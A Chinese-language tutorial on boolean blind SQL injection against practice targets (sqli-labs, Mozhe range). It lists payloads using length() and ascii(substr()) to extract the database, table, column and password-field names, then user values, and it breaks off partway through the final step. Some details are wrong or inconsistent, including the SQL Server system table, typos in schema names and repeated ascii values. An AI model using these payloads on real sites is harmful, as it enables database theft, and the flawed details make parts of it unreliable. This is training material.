布尔盲注定义
当我们改变前端页面传输给后台sql参数时,页面没有显示相应内容也没有显示报错信息时,页面呈现出两种状态,正常或者不正常。根据这两种状态可以判断我们输入的语句是否查询成功。不能使用联合查询注入和报错注入,这时我们可以考虑是否为基于布尔的盲注。
以sqli-labs-masterless-8关为例
当我们输入id=1时,页面正常显示
当我们输入id=1'或者id=-1时,页面什么都不显示
使用布尔盲注时,如果直接采用猜测的方式的话,时间成本大还很难,为了降低时间成本和难度,我们可以判断数据库名、表名、字段名、字段内容的长度,然后一位一位去测试
适用环境
页面成功和失败这两种情况时,可以使用布尔盲注。
盲注步骤
布尔盲注使用时分为两个大的步骤:
使用 length()函数 判断查询结果的长度
使用 substr()函数 截取每一个字符,并穷举出字符内容
以墨者靶场举例:
打开页面如下所示:
判断是否存在注入:
在id参数后任意加上字符串,
使用 and 1=1正常
and 1=2报错
使用order by判断字段数
order by 5报错
order by 4正常
判断存在注入的前提下,不能使用union 联合查询注入和报错注入的情况下:使用union select无回显,猜测为布尔盲注:
布尔盲注流程
1、判断数据库类型:
1)mysql数据库表:information_schema.tables
2) access数据库表:msysobjects
3) sql server 数据库表:msysobjects
使用语句:and exists(select * from information_schema.tables)--
msysobject报错,判断为mysql数据库
2、判断数据库名
2.1 使用length()函数判断数据库名长度
id=1 and length(database())>10-- 判断数据库的长度是不是大于10
判断数据库的长度为10.
2.2、使用ascii判断数据库名
根据不同的数据库,需要获取字符的函数也不同
mysql:substr(str,pos,len),substring(str,pos,len);
oracle:substr(str,pos,len);
sql server:substring(str,pos,len);
pos=1时,表示字符串str的第一个字符
判断第一个字符:
id=1 and ascii(substr(database(),1,1))>100--
解释:substr(database(),1,1)表示截取database()数据库的第一个字符,且每次只截取一个字符长度
后续不继续一个一个猜解,使用burp suit进行遍历:
由上可知:数据库为:stormgroup
3、判断数据库下的表名
先判断当前数据库中表的个数,在判断每个表的表名
使用语句
措施示范:and (select count(table_name) from information_schema.tables where tables_schema='stormgroup')=2--
and (select count(table_name) from information_schema.tables where table_schema=database())=2--
3.1 判断数据库下表的长度
3.1.1 的第一个表的长度
id=1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6--
3.1.2 判断数据库下的第二个表的长度
3.2 使用ascii判断表名
3.2.1 判断数据库下的第一个表的表名
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=110--
的到第一个表名时member
3.2.2 判断数据库下的第二个表的表名
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=110--
得到第二个表名为notice
综上所述:得到数据库:stormgroup 第一个表名:member 第二个表名:notice
4、判断数据库下的列
4.1 判断列的字段数
select count(column_name) from information_schema.columns where table_name='member' and table_schema='stormgroup')=3--
4.2 判断字段数的长度
4.2.1 判断第一个字段的长度:
length((select column_name from information_schmea.columns where table_name='member' limit 0,1))>10--
4.2.2 判断第二个字段的长度:
and length((select column_name from information_schema.columns where table_name='member' limit 1,1))=8--
4.2.3 判断第三个字段的长度:
and length((select column_name from information_schema.columns where table_name='member' limit 2,1))=6--
4.3 判断列的值
4.3.1 判断第一个列的值
and ascii(substr((select column_name from information_schema.columns where table_name='member' limit 0,1),1,1))=110--
得到第一个列名:name
4.3.2 判断第二个列的值
and ascii(substr((select column_name from information_schema.columns where table_name='member' limit 1,1),1,1))=112--
得到第二个列名为:password
4.3.4 判断第三个列的值:
and ascii(substr((select column_name from information_schema.columns where table_name='member' limit 2,1),1,1))=112--
得到列名:status
综上所示:得到字段为name、password、status
5、判断字段的值
5.1判断字段值的长度:
5.1.1 判断第一个字段的长度:
length((select name from member limit 0,1))>5--
5.1.2 判断第二个字段的长度:
length((select password from member limit 0,1))>5--
5.2 判断字段的值
5.2.1 判断第一个字段(name)的值
ascii(substr((select name from member limit 0,1),1,1))>110--
得到值为:mozhe
5.2.2 判断第二个字段(password)的值